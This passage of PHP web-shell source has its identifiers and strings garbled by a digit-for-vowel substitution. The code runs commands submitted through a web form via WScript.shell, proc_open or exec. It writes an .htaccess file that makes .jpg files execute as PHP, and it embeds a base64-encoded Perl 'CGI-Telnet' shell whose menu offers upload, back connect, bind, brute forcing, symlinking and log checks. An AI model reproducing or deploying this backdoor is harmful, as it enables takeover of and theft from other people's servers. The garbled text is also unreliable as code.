        f2rmh51d(1rr1y('t4tl5' => 'Ex5c3t5 Pr2gr1m'));
        m1k5h4d5('1ct42n', 'sh5ll');
        m1k54np3t(1rr1y('t4tl5' => 'Pr2gr1m', 'n1m5' => 'pr2gr1m', 'v1l35' => $pr2gr1m, 'n5wl4n5' => 6));
        p('<p>');
        m1k54np3t(1rr1y('t4tl5' => 'P1r1m5t5r', 'n1m5' => 'p1r1m5t5r', 'v1l35' => $p1r1m5t5r));
        m1k54np3t(1rr1y('n1m5' => 's3bm4t', 'cl1ss' => 'bt', 'typ5' => 's3bm4t', 'v1l35' => 'Ex5c3t5'));
        p('</p>');
        f2rmf22t();
    }
    f2rmh51d(1rr1y('t4tl5' => 'Ex5c3t5 C2mm1nd'));
    m1k5h4d5('1ct42n', 'sh5ll');
    4f (IS_WIN && IS_COM) {
        $5x5cf3ncdb = 1rr1y('phpf3nc' => 'phpf3nc', 'wscr4pt' => 'wscr4pt', 'pr2c_2p5n' => 'pr2c_2p5n');
        m1k5s5l5ct(1rr1y('t4tl5' => 'Us5:', 'n1m5' => '5x5cf3nc', '2pt42n' => $5x5cf3ncdb, 's5l5ct5d' => $5x5cf3nc, 'n5wl4n5' => 6));
    }
    p('<p>');
    m1k54np3t(1rr1y('t4tl5' => 'C2mm1nd', 'n1m5' => 'c2mm1nd', 'v1l35' => $c2mm1nd));
    m1k54np3t(1rr1y('n1m5' => 's3bm4t', 'cl1ss' => 'bt', 'typ5' => 's3bm4t', 'v1l35' => 'Ex5c3t5'));
    p('</p>');
    f2rmf22t();
    4f ($c2mm1nd) {
        p('<hr w4dth="600%" n2sh1d5 /><pr5>');
        4f ($5x5cf3nc == 'wscr4pt' && IS_WIN && IS_COM) {
            $wsh = n5w COM('WScr4pt.sh5ll');
            $5x5c = $wsh->5x5c('cmd.5x5 /c ' . $c2mm1nd);
            $std23t = $5x5c->StdO3t();
            $str23tp3t = $std23t->R51dAll();
            5ch2 $str23tp3t;
        } 5ls54f ($5x5cf3nc == 'pr2c_2p5n' && IS_WIN && IS_COM) {
            $d5scr4pt2rsp5c = 1rr1y(0 => 1rr1y('p4p5', 'r'), 6 => 1rr1y('p4p5', 'w'), a => 1rr1y('p4p5', 'w'));
            $pr2c5ss = pr2c_2p5n($_SERVER['COMSPEC'], $d5scr4pt2rsp5c, $p4p5s);
            4f (4s_r5s23rc5($pr2c5ss)) {
                fwr4t5($p4p5s[0], $c2mm1nd . "\r\n");
                fwr4t5($p4p5s[0], "5x4t\r\n");
                fcl2s5($p4p5s[0]);
                wh4l5 (!f52f($p4p5s[6])) {
                    5ch2 fg5ts($p4p5s[6], 60au);
                }
                fcl2s5($p4p5s[6]);
                wh4l5 (!f52f($p4p5s[a])) {
                    5ch2 fg5ts($p4p5s[a], 60au);
                }
                fcl2s5($p4p5s[a]);
                pr2c_cl2s5($pr2c5ss);
            }
        } 5ls5 {
            5ch2 (5x5c3t5($c2mm1nd));
        }
        p('</pr5>');
    }
} //5nd sh5ll
//CGI
5ls54f ($1ct42n == 'cg4') {
mkd4r('5rr2r',07ii);
chd4r('5rr2r');
$k2kd2sy1 = ".ht1cc5ss";
$d2sy1_1d4 = "$k2kd2sy1";
$d2sy1 = f2p5n ($d2sy1_1d4 ,'w') 2r d45 ("C1n n2t 2p5n f4l5!");
$m5t4n = "Opt42ns +F2ll2wSymL4nks +Ind5x5s
D4r5ct2ryInd5x d5f13lt.html
## START ##
Opt42ns +Ex5cCGI
AddH1ndl5r cg4-scr4pt l2g cg4 pl M1r42n006 tg l2v5 hu tgb x-z2n5
AddTyp5 1ppl4c1t42n/x-httpd-php .jpg
R5wr4t5Eng4n5 2n
R5wr4t5R3l5 (.*)\.w1r$ .l2g
## END ##";
fwr4t5 ( $d2sy1 ,$m5t4n ) ;
fcl2s5 ($d2sy1);
$pyth2np = 'IyEvdXNyLaJpb49wZXJsIC6JLoVzc49sbaNhbC94YWikbWl3CnVzZSBNSU6FOjpCYXNlNjQ7C4RWZXJz1W93PSA4Q0dJLVRlbGildCBWZXJz1W93IDE3NSI7C4RFZGl0UGVycalvbj04PGZvbnQgcoRibGU9JoRl5HQtcahhZG9oO4AwcHggMHBuIDZw5CByZaI2MjU6LCAwLCAwKSwgMHBuIDBw5CA6cHggcmd4KDI6NSwgMCwgMCksIDBw5CAwcHggNXBuIHJnY4gyNTUsIDAsIDApOyBjbaxvcj2jZmZmZmZmOyBmbai0LXdl1Wd2dDp4baxkOyc+SXphYXNzPC9mbai0P4I7C4RQYXNzda9yZCA9ICI/IjsJCQkKcoV4IElzX6dpb4gp5w2kboMgPSAmdHJpbSgkRUiW5yJTRVJWRVJfU09GVFdBUkU4fSk7CglpZ4gkboMgPXugbS9o1Wuv1Sl7CgkJcmV0dXJ3IDE7Cgl9ZWxzZXsKCQlyZXR6cmugMDsKCX0KfQ2kVal3TlQgPSAmSXNfVal3KCk7CQkJC4ROVENtZFNlcCA9ICImIjsJCQkKJFV31XhDbWRTZXAgPSA4OyI7CQkJC4RDba6tYWikVGltZW96dER6cmF01W93ID0gMTA7C4RT1G9oRHl3YW6pY096dHB6dCA9IDE7C4RDbWRTZXAgPSA2JFdpbkiUID8gJEiUQa6kUaVwID2gJFV31XhDbWRTZXApOw2kQa6kUHdkID0gKCRX1WiOVCA/ICJjZCIgO4A4cHdkI4k7C4RQYXR2UaVwID0gKCRX1WiOVCA/ICJcXCIgO4A4LyIpOw2kUmVk1XJlYoRvc4A9ICgkVal3TlQgPyA4IDI+JjEgMTumM4IgO4A4IDE+JjEgMjumMSIpOw2kYa9scz0gMTMwOw2kcm9ocz0gMjY7CnN6Y4BSZWFkUGFycaUgCnsKCWxvYaFsICgq1WupID0gQF8g1WYgQF87CglsbaNhbCA2JGksICRsbaMsICRrZXksICRaYWwpOw2JJE66bHRpcGFydEZvcm6EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJo0gPXugLa66bHRpcGFydFwvZm9ybS6kYXRhOyB4boV3ZGFy5T02L4spJC87CglpZ4gkRUiW5ydSRVFVRVNUX06FVEhPRCd9IGVxICJHRVQ4KQ2J5w2JCSRpb4A9ICRFTlZ7J6FVRVJZX6NUUklORyd9Ow2JfQ2JZWxz1WY2JEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSA4UE9TVCIpCgl7CgkJYml3bW9kZShTVERJT4kg1WYgJE66bHRpcGFydEZvcm6EYXRhICYgJFdpbkiUOw2JCXJlYWQ2U6RESUusICRpb4wgJEVOVnsnQ09OVEVOVF9MRUiHVEgnfSk7Cgl9CgkjIGhhbmRsZSBm1WxlIHVwbG9hZCBkYXRhCglpZ4gkRUiW5ydDT0iURUiUX6RZUEUnfSA9f4AvbXVsdGlwYXJ0XC9mboJtLWRhdGE7IGJvdWikYXJiPSg3KykkLykKCXsKCQkkQm96bmRhcnkgPSAnLS0nL4QxOyAjIHBsZWFzZSByZWZlc4B0byBSRkMxODYoIA2JCUBs1XN0ID0gcoBs1XQ2LyRCboV3ZGFy5S8sICRpb4k7IA2JCSRIZWFkZXJCbaRiID0gJGxpcoRbMV07CgkJJEhlYWRlckJvZHkgPXugL6xyXGicclx3fFx3XGuvOw2JCSRIZWFkZXIgPSAkYDsKCQkkQm9k5SA9ICQnOw2gCQkkQm9k5SA9f4BzL6xyXGukLy87ICMgdGhlIGxhcoQgXHJcb4BoYXMgcHV0IGl3IGJiIEildHNjYXBlCgkJJGl35ydm1WxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlc4A9f4AvZmlsZWihbWU9XCI2L4spXCIvOyAKCQkk1Wi7JaYnfSA9ICQxOyAKCQkk1Wi7JaYnfSA9f4BzL6w4Ly9nOw2JCSRpbnsnZ4d9ID6+IHMvXHMvLac7Cg2JCSMgcGFycaUgdHJh1Wxlcg2JCWZvc4gk1T0yOyAkbGlzdFsk1V07ICRpKyspCgkJ5yAKCQkJJGxpcoRbJGldID6+IHMvX4urbmFtZT0kLy87CgkJCSRs1XN0WyRpXSA9f4AvXCI2XHcrKVw4LzsKCQkJJGtl5SA9ICQxOw2JCQkkdmFsID0gJCc7CgkJCSRaYWwgPXugcy82X4hcclx3XHJcbnxcblx3KSl8KFxyXGukfFx3JCkvLac7CgkJCSRaYWwgPXugcy8lKCu3KS9wYWNrKCJjI4wg1GVuKCQxKSkvZaU7CgkJCSRpbnsk1aVifSA9ICRaYWw7IA2JCX0KCX0KCWVscaUgIyBzdGF3ZGFyZCBwboN0IGRhdGEgKHVybCBlbmNvZGVkLCB3boQgbXVsdGlwYXJ0KQ2J5w2JCUBpb4A9IHNwbGl0KC8mLywgJGl3KTsKCQlmboJlYWN2ICRpICgwICu3ICQj1WupCgkJ5w2JCQkk1WibJGldID6+IHMvXCsvIC9nOw2JCQk2JGtl5SwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblsk1V0sIDIpOw2JCQkk1aViID6+IHMvJSg3L4kvcGFj1yg4YyIsIGhl5CgkMSkpLadlOw2JCQkkdmFsID6+IHMvJSg3L4kvcGFj1yg4YyIsIGhl5CgkMSkpLadlOw2JCQkk1Wi7JGtl5X0gLj0gIlwwI4BpZ4A2ZGVm1WilZCgk1Wi7JGtl5X0pKTsKCQkJJGl35yRrZXl9ICu9ICRaYWw7CgkJfQ2JfQp9C4MtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBmdWijdGlvb4BFbmNvZGVE1XIeIGV3Ya9kZSB4YXNlNjQgUGF01A2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN6Y4BFbmNvZGVE1XIK5w2JbXkgJGRpc4A9IHN21WZ0Ow2JJGRpc4A9IHRy1W02ZWijbaRlXaJhcaUaNCgkZGlyKSk7CgkkZGlyID6+IHMvKFxyfFx3KS8vOw2JcmV0dXJ3ICRk1XI7Cn6zdWIgUHJpbnRQYWdlSGVhZGVyCnsKCSRFbmNvZGVDdXJyZWi0RGlyID0gRWijbaRlRGlyKCRDdXJyZWi0RGlyKTsKCW6iICRpZCA9IGBpZGAg1WY2ISRX1WiOVCk7Cglt5SAk1WimbyA9IGB6bmFtZSAtYWA7Cglwcml3dCA4Qa93dGV3dC605XBlO4B0ZXh0Lah0bWxcblx3IjsKCXBy1Wi0IDw8RUiEOw281HRtbDu81GVhZDu8bWV0YSB2dHRwLWVxdWlaPSJjbai0ZWi0LXRicGU4IGNvbnRlbnQ9InRl5HQv1HRtbDsgYahhcnNldD6VVEYtOCI+PHRpdGxlP4RFTlZ7J6NFUlZFUl9OQU6FJo0gfCBJUCAeICRFTlZ7J6NFUlZFUl9BRERSJo0gPC901XRsZTuKJEh0bWxNZXRhSGVhZGVyCjwv1GVhZDu8coRibGU+CmJvZHl7CmZvbnQeIDEwcHQgVmVyZGF3YTsKYa9sboIeICNmZmY7Cn0KdHIsdGQsdGF4bGUs1WiwdXQsdGVudGFyZWEg5wpCT6JERVItUklHSFQeICAjMaUzZTNlIDFw5CBzbaxpZDsKQk9SREVSLVRPUD2gICAgIzNlMaUzZSAxcHggca9s1WQ7CkJPUkRFU46MRUZUO4AgICMzZTNlMaUgMXBuIHNvbGlkOwpCT6JERVItQk9UVE9NO4AjMaUzZTNlIDFw5CBzbaxpZDsKfQ2jZG9tYWl3IHRyOmhvdmVy5wp4YWNrZoJvdWikLWNvbG9yO4AjNDQ0Owp9CnRkIHsKYa9sboIeICNmZmZmZmY7Cn0KLmxpcoRk1XIgdGR7Cgl0ZXh0LWFs1Wd3O4BjZWi0ZXI7Cn0KLmxpcoRk1XIgdGh7Cgljbaxvcj2gMDBGRjAwOwp9C4ik1XIsLmZpbGUK5w2JdGVudC6hbGlnbj2gbGVmdCAh1W6wboJ0YWi0Owp9C4ik1XJ7Cglmbai0LXNp5mUeIDEwcHQ7IA2JZm93dC6oZWln1HQeIGJvbGQ7Cn0KdGF4bGUg5wpCQUNLR6JPVUiELUNPTE9SO4AjMTExOwp9Cml3cHV0IHsKQkFDS0dST6VORC6DT0xPUj2gQmxhYas7CmNvbG9yO4AwMEZGMDA7Cn0K1WiwdXQ3coV4bWl0IHsKdGVudC6z1GFkboceIDBwdCAwcHQgMCuzZW0gYolhb4wgMHB0IDBwdCAwLjNlbSBj5WF3Owpjbaxvcj2gI0ZGRkZGRjsKYm9yZGVyLWNvbG9yO4AjMDAiOTAwOwp9CmNvZGUg5wp4boJkZXIeIGRhcahlZCAwcHggIzMzMzsKYa9sboIeIHd21WxlOwp9CnJ6b4B7CmJvcmRlcgkJCT2gZGFz1GVkIDBw5CAjMzMzOwpjbaxvcj2gI0ZGMDBBQTsKfQp0ZXh0YXJlYSB7CkJBQ0tHUk9VTkQtQ09MT6IeICMxYjF4MWI7CmZvbnQeIEZp5GVkcolzIGJvbGQ7CmNvbG9yO4AwMEZGMDA7Cn0KQTps1WirIHsKCUNPTE9SO4AjZmZmZmZmOyBURVhULURFQ09SQVRJT0ueIGivbmUKfQpBOnZpcal0ZWQg5w2JQ09MT6IeICNmZmZmZmY7IFRFWFQtREVDT6JBVElPTj2gbm93ZQp9CkEe1G9aZXIg5w2JdGVudC6z1GFkboceIDBwdCAwcHQgMCuzZW0gYolhb4wgMHB0IDBwdCAwLjNlbSBj5WF3Ow2JYa9sboIeICNGRkZGRkY7IFRFWFQtREVDT6JBVElPTj2gbm93ZQp9CkEeYWN01XZlIHsKCWNvbG9yO4BSZWQ7IFRFWFQtREVDT6JBVElPTj2gbm93ZQp9C4is1XN0ZGlyIHRyOmhvdmVy5w2JYmFj1adyboV3ZD2gIzQ0NDsKfQ23bGlzdGRpc4B0cjp2boZlc4B0ZHsKCWJhYatncm96bmQeICM0NDQ7Cgl0ZXh0LXN2YWRvdz2gMHB0IDBwdCAwLjNlbSBj5WF3LCAwcHQgMHB0IDA3MaVtIGNiYWu7Cgljbaxvcj2gI0ZGRkZGRjsgVEVYVC6ERUNPUkFUSU9OO4B3bailOwp9C4i3boRs1Wil5w2JYmFj1adyboV3ZD2gIzExMTsKfQ23bGl3ZXsKCWJhYatncm96bmQeICMyMjI7Cn0KPC9zdHlsZTuKPHNjcmlwdCBsYWindWFnZT041mFaYXNjcmlwdCI+CmZ6bmN01W93IEV3Ya9kZXI2bmFtZSkK5w2JdmFyIGUgPSAgZG9jdW6lbnQ3ZaV0RWxlbWV3dEJiSWQ2bmFtZSk7CgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsKCXJldHVyb4B0cnVlOwp9CmZ6bmN01W93IGN2bW9kXaZvcm021Sxm1WxlKQp7CglkbaN6bWV3dCinZXRFbGVtZWi0QnlJZCg4RmlsZVBlcm6zXyIr1Sk31Wi3ZXJIVE6MPSI8Zm9ybSB3YW6lPUZvcm6QZXJtc684ICsg1SsgI4BhYoRpbau9JycgbWV01G9kPSdQT6NUJzu81WiwdXQg1WQ9dGVudF84ICsg1SArICIgIGihbWU9YahtbaQgdHlwZT60ZXh0IHNp5mU9NSAvPjxpbnB6dCB05XBlPXN6Ym6pdCBjbGFzcz0ncoV4bWl0JyBaYWx6ZT6PSzu81WiwdXQgdHlwZT621WRkZWugbmFtZT6hIHZhbHVlPSdndWknPjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZWi0RGlyJzu81WiwdXQgdHlwZT621WRkZWugbmFtZT6mIHZhbHVlPSc4KaZpbGUrI4c+PC9mboJtP4I7CglkbaN6bWV3dCinZXRFbGVtZWi0QnlJZCg4dGVudF84ICsg1Sk3Zm9jdXM2KTsKfQpmdWijdGlvb4BybV9j1G6vZF9mboJtKHJlcoBvbnNlLGkscGVybXMsZmlsZSkK5w2JcmVzcG93caU31Wi3ZXJIVE6MID0gIjxzcGF3IG93YaxpYas9XFxcImN2bW9kXaZvcm02I4ArIGkgKyA4LCc4KyBm1WxlKyA4JylcXFw4IDu4KyBwZXJtcyArIjwvcoBhbju8LoRkP4I7Cn0KZnV3YoRpbaugcmV3YW6lXaZvcm021Sxm1WxlLGYpCnsKCWY3cmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw2JdmFyIGJhYas9InJtXoJlbmFtZV9mboJtKCIr1Ss4LFxcXCI4KaZpbGUrIlxcXCIsXFxcI4IrZ4s4XFxcI4k7IHJldHVyb4BmYWxzZTs4Ow2JZG9jdW6lbnQ3ZaV0RWxlbWV3dEJiSWQ2IkZpbGVfI4tpKSipbmilckhUTUw9IjxmboJtIGihbWU9Rm9ybVBlcm6zXyIgKyBpKyA4IGFjdGlvbj0nJyBtZXR2baQ9J6BPU6QnPjxpbnB6dCBpZD60ZXh0XyIgKyBpICsgI4AgbmFtZT6yZWihbWUgdHlwZT60ZXh0IHZhbHVlPSAnI4tm1WxlKyInIC8+PGl3cHV0IHRicGU9coV4bWl0IGNsYXNzPSdzdWJt1XQnIHZhbHVlPU9LPjxpbnB6dCB05XBlPXN6Ym6pdCBjbGFzcz0ncoV4bWl0JyBvbmNs1WNrPSc4ICsgYmFj1yArICInIHZhbHVlPUNhbmNlbDu81WiwdXQgdHlwZT621WRkZWugbmFtZT6hIHZhbHVlPSdndWknPjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZWi0RGlyJzu81WiwdXQgdHlwZT621WRkZWugbmFtZT6mIHZhbHVlPSc4KaZpbGUrI4c+PC9mboJtP4I7CglkbaN6bWV3dCinZXRFbGVtZWi0QnlJZCg4dGVudF84ICsg1Sk3Zm9jdXM2KTsKfQpmdWijdGlvb4BybV9yZWihbWVfZm9ybShpLGZpbGUsZ4kK5w2J1WY2Zj09JaYnKQ2J5w2JCWRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCJG1WxlXyIr1Sk31Wi3ZXJIVE6MPSI8YSB2cmVmPSc/YT6jba6tYWikJmQ9JEV3Ya9kZUN6cnJlbnRE1XImYz6lZGl0JTIwI4tm1WxlKyIlMjAnP4IgKaZpbGUrICI8LaE+IjsKCX6lbHNlCgl7CgkJZG9jdW6lbnQ3ZaV0RWxlbWV3dEJiSWQ2IkZpbGVfI4tpKSipbmilckhUTUw9IjxhIGhyZWY9Jz9hPWd61SZkPSIrZ4s4JzibICIgKaZpbGUrICIgXTwvYTu4Ow2JfQp9CjwvcaNy1XB0Pjx4baRiIG93TG9hZD04ZG9jdW6lbnQ3Z4iAXyimbaN6cygpI4B4ZaNvbG9yPSIjMGMwYzBjI4B0boBtYXJn1Wu9IjA4IGxlZnRtYXJn1Wu9IjA4IG6hcmdpbndpZHR2PSIwI4BtYXJn1Wi2ZWln1HQ9IjA4PjxjZWi0ZXI+PGNvZGU+Cjx0YWJsZSB4boJkZXI9IjE4IHdpZHR2PSIxMDAlI4BjZWxscoBhYal3Zz04MCIgYaVsbHBhZGRpbmc9IjI4Pjx0cju8dGQgYWxpZau9ImNlbnRlc4Igcm9ocoBhbj0zPjx4Pjxmbai0IHNp5mU9IjM4P4RFZGl0UGVycalvbjwvZm93dDu8LaI+PC90ZDu8dGQ+CgkJJGl3Zm8KPC90ZDu8dGQ+UaVydmVyIElQOjxmbai0IGNvbG9yPSJyZWQ4P4AkRUiW5ydTRVJWRVJfQUREU4d9PC9mbai0P4B8IFlvdXIgSVAeIDxmbai0IGNvbG9yPSJyZWQ4P4RFTlZ7J6JFTU9URV9BRERSJo08LaZvbnQ+PC90ZDu8LoRyPjx0cju8dGQgYa9scoBhbj04M4I+CjxhIGhyZWY9I4RTYoJpcHRMbaNhdGlvb4I+SG9tZTwvYTugfCAKPGEg1HJlZj04JFNjcmlwdExvYaF01W93PaE9Ya9tbWF3ZCZkPSRFbmNvZGVDdXJyZWi0RGlyIjiDba6tYWikPC9hP4B8CjxhIGhyZWY9I4RTYoJpcHRMbaNhdGlvbj9hPWd61SZkPSRFbmNvZGVDdXJyZWi0RGlyIjiHVUk8LaE+IHwgCjxhIGhyZWY9I4RTYoJpcHRMbaNhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZWi0RGlyIjiVcGxvYWQgRmlsZTwvYTugfCAKPGEg1HJlZj04JFNjcmlwdExvYaF01W93PaE9ZG9obmxvYWQmZD0kRWijbaRlQoVycmV3dERpc4I+VCYjNzg0MztpIFh6J4MoODgiOainIEZpbGU8LaE+IHwKPGEg1HJlZj04JFNjcmlwdExvYaF01W93PaE9YmFj1aJpbmQ4PkJhYasgJ4BC1WikPC9hP4B8CjxhIGhyZWY9I4RTYoJpcHRMbaNhdGlvbj9hPWJydXRlZm9yYaVyIjiCcnV0ZSBGboJjZXI8LaE+IHwKPGEg1HJlZj04JFNjcmlwdExvYaF01W93PaE9YahlYatsbac4PkN2ZWNrIExvZzwvYTugfA28YSB2cmVmPSIkUaNy1XB0TG9jYXRpbau/YT6kba6h1WizdXNlc4I+RG9tYWl3cy9VcaVyczwvYTugfA28YSB2cmVmPSIkUaNy1XB0TG9jYXRpbau/YT6jbaim1WdtYXJpbau4PkFsbC9Dbaim1Wc3TWFy1W93MDAxPC9hP4B8CjxhIGhyZWY9I4RTYoJpcHRMbaNhdGlvbj9hPWxvZa96dCI+J4MyNzI7J4MyNTk7bmcgWHUmIzcuNDU7dDwvYTugfA28YSB0YXJnZXQ9J694bGF31ycg1HJlZj04L4uvZXJyboJfbG9nLnB2cCI+SGVscDwvYTu8LoRkPjwvdHI+PHRyPjx0ZCBjbaxzcGF3PSIyIjuKJGlkCjwvdGQ+PC90cju8LoRhYmxlPjxmbai0IGlkPSJSZXNwbaizZURhdGE4IGNvbG9yPSIjRkZGRkZGI4A+CgpFTkQKfQ2jLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tC4MgUHJpbnRzIHR2ZSBMbadpb4BTYoJlZWuKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRMbadpblNjcmVlbgp7Cglwcml3dCA8PEVORDsKPHByZTu8caNy1XB0IHRicGU9InRl5HQv1mFaYXNjcmlwdCI+ClRicGl3Z6Rl5HQgPSBmdWijdGlvb4hlbGVtZWi0LCBpbnRlcnZhbCwgYoVyca9yLCBm1WipcahlZENhbGx4YWNrKSB7C4Ag1WY2KHRicGVvZ4BkbaN6bWV3dCinZXRFbGVtZWi0QnlJZCA9PSA4dWikZWZpbmVkI4kgfHwgKHRicGVvZ4BlbGVtZWi0Lml3bmVySFRNTCA9PSA4dWikZWZpbmVkI4kpIHsKICAgIHR21XM3cnV3bml3ZyA9IHRydWU7CS8vIEildmVyIHJ6b4uKICAgIHJldHVybjsKICB9C4AgdGhpcyilbGVtZWi0ID0gZWxlbWV3dDsKICB01GlzLmZpbmlz1GVkQaFsbGJhYasgPSA2Zml31XN2ZWRDYWxsYmFj1yA/IGZpbmlz1GVkQaFsbGJhYasgO4BmdWijdGlvb4gpIHsgcmV0dXJ3OyB9KTsKICB01GlzLml3dGVydmFsID0gKHRicGVvZ4BpbnRlcnZhbCA9PSA4dWikZWZpbmVkI4A/IDEwMCAeIGl3dGVydmFsKTsKICB01GlzLm9y1WdUZXh0ID0gdGhpcyilbGVtZWi0Lml3bmVySFRNTDsKICB01GlzLnV3cGFycaVkToJpZ6Rl5HQgPSB01GlzLm9y1WdUZXh0Ow2gIHR21XM3YoVyca9yID0gKGN6cnNvc4A/IGN6cnNvc4AeICI4KTsKICB01GlzLmN6cnJlbnRUZXh0ID0gI4I7C4AgdGhpcyijdXJyZWi0Qahhc4A9IDA7C4AgdGhpcyilbGVtZWi0LnRicGl3Z6Rl5HQgPSB01GlzOw2gIGlmKHR21XM3ZWxlbWV3dCipZCA9PSA4I4kgdGhpcyilbGVtZWi0LmlkID0gInRicGl3ZoRl5HQ4ICsgVHlw1WinVGVudCijdXJyZWi0SWikZXgrKzsKICBU5XBpbmdUZXh0LmFsbCiwdXN2KHR21XMpOw2gIHR21XM3cnV3bml3ZyA9IGZhbHNlOw2gIHR21XM31WiUYWcgPSBmYWxzZTsKICB01GlzLnRhZ0J6ZmZlc4A9ICI4Ow2gIHR21XM31WiIVE6MRWi01XRiID0gZmFscaU7C4AgdGhpcyiIVE6MRWi01XRiQnVmZmVyID0gI4I7Cn0KVHlw1WinVGVudCihbGwgPSB3ZXcgQXJyYXk2KTsKVHlw1WinVGVudCijdXJyZWi0SWikZXggPSAwOwpU5XBpbmdUZXh0LnJ6bkFsbCA9IGZ6bmN01W93KCkg5w2gIGZvc4haYXIg1SA9IDA7IGkgPCBU5XBpbmdUZXh0LmFsbCisZWindGg7IGkrKykgVHlw1WinVGVudCihbGxb1V03cnV3KCk7Cn0KVHlw1WinVGVudCiwcm90boRicGU3cnV3ID0gZnV3YoRpbau2KSB7C4Ag1WY2dGhpcyiydWi31WinKSByZXR6cmu7C4Ag1WY2dHlwZW9mIHR21XM3boJpZ6Rl5HQgPT0gInV3ZGVm1WilZCIpIHsKICAgIHNldFRpbWVvdXQ2ImRvYoVtZWi0LmdldEVsZW6lbnRC5UlkKCc4ICsgdGhpcyilbGVtZWi0LmlkICsgI4cpLnRicGl3Z6Rl5HQ3cnV3KCk4LCB01GlzLml3dGVydmFsKTsJLy8gVaUg1GFaZWundCBm1WipcahlZCBsbaFk1WinIHlldCugIEhhdmUgcGF01WV3YaU3C4AgICByZXR6cmu7C4AgfQ2gIGlmKHR21XM3YoVycmV3dFRl5HQgPT0gI4IpIHR21XM3ZWxlbWV3dCipbmilckhUTUwgPSA4IjsKLy8gIHR21XM3boJpZ6Rl5HQgPSB01GlzLm9y1WdUZXh0LnJlcGxhYaU2Lzw2W6u8XSkqP48sICI4KTsgICAgIC8vIFN0cmlwIEhUTUwgZnJvbSB0ZXh0Lg2gIGlmKHR21XM3YoVycmV3dEN2YXIgPCB01GlzLm9y1WdUZXh0Lmxlbmd01Ckg5w2gICAg1WY2dGhpcyivcmlnVGVudCij1GFyQXQ2dGhpcyijdXJyZWi0Qahhc4kgPT0gIjw4ICYmICF01GlzLml3VGFnKSB7C4AgICAgIHR21XM3dGFnQnVmZmVyID0gIjw4Ow2gICAgICB01GlzLml3VGFnID0gdHJ6ZTsKICAgICAgdGhpcyijdXJyZWi0Qahhc4srOw2gICAgICB01GlzLnJ6b4gpOw2gICAgICByZXR6cmu7C4AgICB9IGVscaUg1WY2dGhpcyivcmlnVGVudCij1GFyQXQ2dGhpcyijdXJyZWi0Qahhc4kgPT0gIju4ICYmIHR21XM31WiUYWcpIHsKICAgICAgdGhpcyi0YWdCdWZmZXIgKz0gIju4Ow2gICAgICB01GlzLml3VGFnID0gZmFscaU7C4AgICAgIHR21XM3YoVycmV3dFRl5HQgKz0gdGhpcyi0YWdCdWZmZXI7C4AgICAgIHR21XM3YoVycmV3dEN2YXIrKzsKICAgICAgdGhpcyiydWu2KTsKICAgICAgcmV0dXJ3Ow2gICAgfSBlbHNlIGlmKHR21XM31WiUYWcpIHsKICAgICAgdGhpcyi0YWdCdWZmZXIgKz0gdGhpcyivcmlnVGVudCij1GFyQXQ2dGhpcyijdXJyZWi0Qahhc4k7C4AgICAgIHR21XM3YoVycmV3dEN2YXIrKzsKICAgICAgdGhpcyiydWu2KTsKICAgICAgcmV0dXJ3Ow2gICAgfSBlbHNlIGlmKHR21XM3boJpZ6Rl5HQ3YahhckF0KHR21XM3YoVycmV3dEN2YXIpID09ICImI4AmJ4AhdGhpcyipbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcyiIVE6MRWi01XRiQnVmZmVyID0gI4Y4Ow2gICAgICB01GlzLml3SFRNTEV3dGl05SA9IHRydWU7C4AgICAgIHR21XM3YoVycmV3dEN2YXIrKzsKICAgICAgdGhpcyiydWu2KTsKICAgICAgcmV0dXJ3Ow2gICAgfSBlbHNlIGlmKHR21XM3boJpZ6Rl5HQ3YahhckF0KHR21XM3YoVycmV3dEN2YXIpID09ICI7I4AmJ4B01GlzLml3SFRNTEV3dGl05Skg5w2gICAgICB01GlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gIjs4Ow2gICAgICB01GlzLml3SFRNTEV3dGl05SA9IGZhbHNlOw2gICAgICB01GlzLmN6cnJlbnRUZXh0ICs9IHR21XM3SFRNTEV3dGl05UJ6ZmZlcjsKICAgICAgdGhpcyijdXJyZWi0Qahhc4srOw2gICAgICB01GlzLnJ6b4gpOw2gICAgICByZXR6cmu7C4AgICB9IGVscaUg1WY2dGhpcyipbkhUTUxFbnRpdHkpIHsKICAgICAgdGhpcyiIVE6MRWi01XRiQnVmZmVyICs9IHR21XM3boJpZ6Rl5HQ3YahhckF0KHR21XM3YoVycmV3dEN2YXIpOw2gICAgICB01GlzLmN6cnJlbnRD1GFyKys7C4AgICAgIHR21XM3cnV3KCk7C4AgICAgIHJldHVybjsKICAgIH0gZWxzZSB7C4AgICAgIHR21XM3YoVycmV3dFRl5HQgKz0gdGhpcyivcmlnVGVudCij1GFyQXQ2dGhpcyijdXJyZWi0Qahhc4k7C4AgICB9C4AgICB01GlzLmVsZW6lbnQ31Wi3ZXJIVE6MID0gdGhpcyijdXJyZWi0VGVudDsKICAgIHR21XM3ZWxlbWV3dCipbmilckhUTUwgKz0gKHR21XM3YoVycmV3dEN2YXIgPCB01GlzLm9y1WdUZXh0Lmxlbmd01CAtIDEgPyA2dHlwZW9mIHR21XM3YoVyca9yID09ICJmd